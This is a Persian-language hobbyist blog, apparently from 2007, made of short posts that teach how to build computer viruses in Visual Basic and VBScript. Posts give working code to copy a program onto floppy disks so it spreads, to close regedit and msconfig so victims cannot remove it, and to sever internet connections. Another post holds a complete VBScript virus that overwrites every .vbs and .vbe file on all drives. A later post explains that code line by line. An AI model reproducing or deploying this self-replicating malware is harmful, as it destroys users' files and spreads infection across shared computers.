یکی از راه های قدیمی ولی پرکاربرد ویروس ها برای منتشر شدن،فلاپی است.اگر ویروستان به کافی نت یا دیگر کامپیوتر های عمومی راه یافت و این قابلیت را داشت،می تواند به راحتی منتشر شود.کدهای زیر را در یک timer کپی کنید:
On Error GoTo h
Set fso = CreateObject("Scripting.FileSystemObject")
mf = App.Path & "\" & App.EXEName & ".exe"
If Dir("A:\" & "virus.exe") = "" Then
FileCopy mf, "A:\" & "virus.exe"
End If
h:
توضیح کدها:در خط اول می گوید که اگر برنامه error پیدا کرد،آن را به خط آخر منتقل کند.خط دوم هم که می دانید.در خط سوم،ویروس مسیر فایل خودش را می گیرد که برای کپی کردن خودش درون فلاپی نیاز است.در خط چهارم می گوید که اگر در فلاپی فایلی به نام virus.exe وجود ندارد،خودش را با نام virus.exe در فلاپی کپی کند.
+ نوشته شده در جمعه چهاردهم اردیبهشت 1386ساعت 20:5  توسط رضا گودرزی
|
یکی از راه های غیر فعال کردن ویروس ها،regedit و msconfig می باشد.با این دو برنامه ای که در ویندوز وجود دارد،می توان کاری کرد که ویروس،در هر بار اجرای ویندوز،اجرا نشود.در run
عبارت regedit یا msconfig را تایپ کنید تا این برنامه اجرا شوند.
برای غیرفعال کردن این دو برنامه کارهای زیر را انجام دهید:
ابتدا کدهای زیر را در قسمت general کپی کنید:
Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
حالا این کدها را در یک timer کپی کنید:
Dim reghwnd As Long
Dim syshwnd As Long
Const WM_CLOSE = &H10
syshwnd = FindWindow(vbNullString, "System Configuration Utility")
reghwnd = FindWindow("RegEdit_RegEdit", vbNullString)
If syshwnd <> 0 Then SendMessage syshwnd, WM_CLOSE, 0&, 0&
If reghwnd <> 0 Then SendMessage reghwnd, WM_CLOSE, 0&, 0&
+ نوشته شده در جمعه چهاردهم اردیبهشت 1386ساعت 20:4  توسط رضا گودرزی
|
خط اول و دوم رو تو پستای قبل گفتم.در خط سوم و چهارم،ویروس خودشو به صورت یک فایل متنی باز می کند و کدهای خودش را می خواند و در حافظه نگه می دارد(این کار برای آلوده کردن فایل ها نیاز است)در خط پنج تا ده،ویروس هارد دیسک و دیگر دیسک ها را می گردد و اگر دیسکی برای آلوده کردن فایل ها آماده بود،برنامه را به خط نه تا مونده به آخر منتقل می کند.از این خط تا آخر برنامه،ویروس فولدرهای درون دیسک را می گردد و اگر فایلی را پیدا کرد که برای آلوده شدن آماده است،برنامه را به خط پانزدهم منتقل می کند.این خط تا خط نه تا مونده به آخر،فایل پیدا شده را چک می کند.اگر پسوند فایل ویژوال بیسک اسکریپت باشد،فایل را باز کرده،سپس کدهایی را که در حافظه قرار داده بود،درون آن فایل قرار می دهد و به طور کلی آن فایل را آلوده می کند.سپس همین چرخه ادامه پیدا می کند تا تمام فایل های ویژوال بیسیک اسکریپت آلوده شوند.
+ نوشته شده در جمعه چهاردهم اردیبهشت 1386ساعت 20:4  توسط رضا گودرزی
|
اين ويروس يک نمونه از ويروس هاي vbs است که فايل هاي vbs و vbe کامپيوتر را آلوده مي کند و ساختاري بسيار ساده دارد ولي در بعضي موارد مي تواند بسيار خطرناک باشد.
ساخت ويروس:
براي ساخت ويروس کدهاي زير را در notepad ويندوز کپي کنيد.سپس از منوي فايل گزينه ي save as را انتخاب کنيد و در کادر filename نام دلخواهتان را وارد کنيد ولي بعد از نام حتما" بنويسيد:
.vbs يا .vbe
مثلا" اگر مي خواهيد نام آن را Biosan بگذاريد،در کادر بنويسيد:
Biosan.vbs يا Biosan.vbe
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.is ready Then
folderlist(d.path&"\")
end if
Next
end sub
sub infectfiles(folderspec)
On Error Resume Next
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
if (ext="vbs") or (ext="vbe") then
set ap=fso.Opentextfile(f1.path,2,true)
ap.write vbscopy
ap.close
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
ويروس آمادس.توضيح کدها در پست بعد.
+ نوشته شده در یکشنبه نهم اردیبهشت 1386ساعت 10:21  توسط رضا گودرزی
|
اين کدها باعث مي شود از کارت صداي کامپيوتر صداي beep بيايد.ابتدا اين کدها را در قسمتgeneral کپي کنيد:
Private Declare Function GetTickCount& Lib "kernel32" ()
Private Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long
يک تايمر درست کنيد و اين کد ها را درونش بنويسيد.
t = GetTickCount& \ 60000
If t >= 10 Then
Beep 135, 3304
+ نوشته شده در شنبه هشتم اردیبهشت 1386ساعت 20:4  توسط رضا گودرزی
|
در اين پست به شما ياد ميدم که چه طور هر نوع اتصال انترنت رو قطع کنيد.فقط کافيه يه timer با interval مناسب درست کنيد و درونش کد زير رو کپی کنيد.
Call Shell("rundll32 iedkcs32.dll,CloseRASConnections")
+ نوشته شده در شنبه هشتم اردیبهشت 1386ساعت 20:2  توسط رضا گودرزی
|